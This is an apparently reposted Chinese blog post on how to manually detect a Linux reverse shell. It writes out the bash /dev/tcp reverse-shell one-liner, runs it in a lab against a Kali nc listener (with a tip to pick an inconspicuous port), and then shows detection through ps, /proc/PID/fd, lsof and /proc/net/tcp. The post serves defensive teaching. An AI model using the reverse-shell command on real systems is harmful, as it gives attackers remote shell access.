【攻防技术系列+入侵分析】-- 手工分析Liunx反弹Shell特征①

news/2024/9/19 23:55:59

#网络安全 #入侵分析

bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1

上面的命令是我们常见的Linux反弹Shell的命令之一。它可以在几乎所有的Linux系统中运行,并且不需要额外配置其它环境。

命令分析

下面我们来分析一下这条命令:

bash:启动Bash shell;
-i:以交互模式运行Bash,允许用户与shell进行交互;
>&:重定向操作,它将标准输出和标准错误都重定向到特定的地址;
/dev/tcp/IP_ADDRESS/PORT:这是需要连接的TCP地址和端口;
0>&1:它将标准输入重定向到标准输出,任何发送到shell的输入都会发送到远程的TCP连接;

创建反弹shell

首先,在攻击端上利用nc工具监听特定端口,如62524端口 ,尽量选一个“正常”的端口,不那么显眼的。

【攻击端】配置,如下:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# hostname -I
192.168.10.131 172.18.0.1 172.17.0.1

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -vlp 62524

listening on [any] 62524 ...

【靶机】配置,如下:

Linux 系统默认没有安装 nc,可以用下面的方法安装:
[root@OoOoO lyj]# yum install nc

Loaded plugins: fastestmirror, langpacks
Loading mirror speeds from cached hostfile

  • base: mirrors.aliyun.com
  • extras: mirrors.aliyun.com
  • updates: mirrors.aliyun.com
    Package 2:nmap-ncat-6.40-19.el7.x86_64 already installed and latest version
    Nothing to do

然后,在靶机上运行反弹shell命令,IP为攻击机的IP,端口为监听端口:

[root@OoOoO lyj]# bash -i >& /dev/tcp/192.168.10.131/62524 0>&1

【攻击端】:
执行成功后,攻击机会收到连接成功的消息,并会创建一个连接会话。

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -vlp 62524
listening on [any] 62524 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.10.131] from bogon [192.168.10.39] 43682
[root@OoOoO lyj]#
[root@OoOoO lyj]# ls
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos

分析反弹shell

在靶机终端执行ps -aux查看当前系统进程:

通过对进程信息进行分析,我们可以找到一个bash -i进程信息,bash -i 表示是一个可交互的shell。
一般来说,这种情况并不常见,【因此在机器中发现 bash -i 进程是需要额外注意】。

ps -aux 可以查看进程的PID号。

对于初步怀疑异常的进程可以查看进程详情,查看/proc/PID,查看进程详细信息:


/proc/<pid>/exe 包含了正在进程中运行的程序链接 ;从进程信息来看,这个进程是bash程序。

进入 fd目录,执行ls -la

0 为标准输入,1 为标准输出,2 为错误输出;可以看到 bash 进程的标准输入输出均为socket 网络连接。

正常bash 进程是不会有网络连接的,因此使用lsof -p PID查看进程的远程连接信息:

根据分析结果,可以看到进程使用TCP 连接了远程IP和端口。

另外可以通过/proc/net/tcp文件列出了当前正在进行的TCP连接,通过检查该文件可以发现隐藏的网络,并且我们可以使用ChatGPT将展示的十六进制数据转换成十进制可读数据。

转换后的结果,分别是本地连接地址、端口和远程连接地址、端口。

因此,当 bash 进程存在与远程服务器进行连接时,可以判断存在反弹 shell 行为。

总结

通过以上步骤,我们可以手动分析和检测 Linux 系统中的反弹 shell 活动。关键在于详细检查系统进程和网络连接,识别发起网络连接请求的异常 bash 进程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/47581.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

虚拟机出现“XXX不在sudoers文件中,此事将被报告”的问题

执行成功后编辑 /etc/sudoers文件vim /ect/sudoers bash: vim:未找到命令 改成nano   nano /etc/sudoers 在 在文件中,你可以找到以下行:root ALL=(ALL:ALL) ALL 在其下方添加你需要的用户权限:mp20 ALL=(ALL:ALL) ALL 保存并退出编辑器。如果使用 nano,按 Ctrl + O 保存…

两个表取差集再插入到另一张表中

@目录概要思路梳理实现步骤小结 概要 工作中采集时候遇到一个问题,就是两张结构一样的表数据不同,哪里不同呢,如t1表是基础表,里面数据量大,但是它不全,t2表有少数t1的数据也有一些自己额外的数据,我的需求是把t2里面t1没有的数据插入到t1中 思路梳理 这种也简单就是在t…

拉取 gitee 代码,配置SSH,Please make sure you have the correct access rights

拉取 gitee 代码,Please make sure you have the correct access rights git clone git@gitee.com:paddlepaddle/PaddleNLP.git生成 RAS 秘钥 ssh-keygen -t rsa -C "Gitee SSH Key" -t key 类型 -C 注释将C:\Program Files\Git\usr\bin 加入环境变更直接回车设置S…

java调用grpc

1.创建proto文件 // 使用该proto文件可以定义交互的服务接口,基于该文件编译成的源文件可以分别复制到 client端和server端,便于两者使用syntax = "proto3"; // 定义语法类型,通常proto3好于proto2,proto2好于proto1,如果不指定,默认使用proto2,必须位于第一行…

MoneyPrinterPlus:AI自动短视频生成工具-腾讯云配置详解

详细介绍如何使用在MoneyPrinterPlus中配置使用腾讯云语音服务,实现AI自动短视频生成。MoneyPrinterPlus可以使用大模型自动生成短视频,其中的语音合成和语音识别部分需要借助于一些第三发云厂商的语音服务。 很多小伙伴可能不知道应该如何配置,这里给大家提供一个详细的腾讯…

Photoshop增加对.ico,.webp,.avif格式的支持,如何让ps可以打开和保存avif,webp,ico格式

压缩尺寸对比: 安装方法: 将解压缩得到的.8bi文件复制到Photoshop安装文件下的一下路径即可: Adobe Photoshop 2023\Required\Plug-ins\File Formats 附件中的8bi插件,支持x64的都有,x32的只有部分有,注意区分。Photoshop插件下载: 链接:https://pan.baidu.com/s/1vsZ…

如何在Spring Boot框架下实现高效的Excel服务端导入导出?

前言 Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。今天我们就使用纯前对按表格控件带大家了解,如何在Spring Boot框架下实现Excel服务端…

rhel9.2离线下载安装包,并安装

linux离线下载安装包 [root@localhost local]# mkdir files#创建文件夹[root@localhost local]# cd files[root@localhost files]# pwd/usr/local/files#查看下载文件夹路径[root@localhost files]# dnf install --downloadonly --downloaddir=/usr/local/files vim gcc gcc-c+…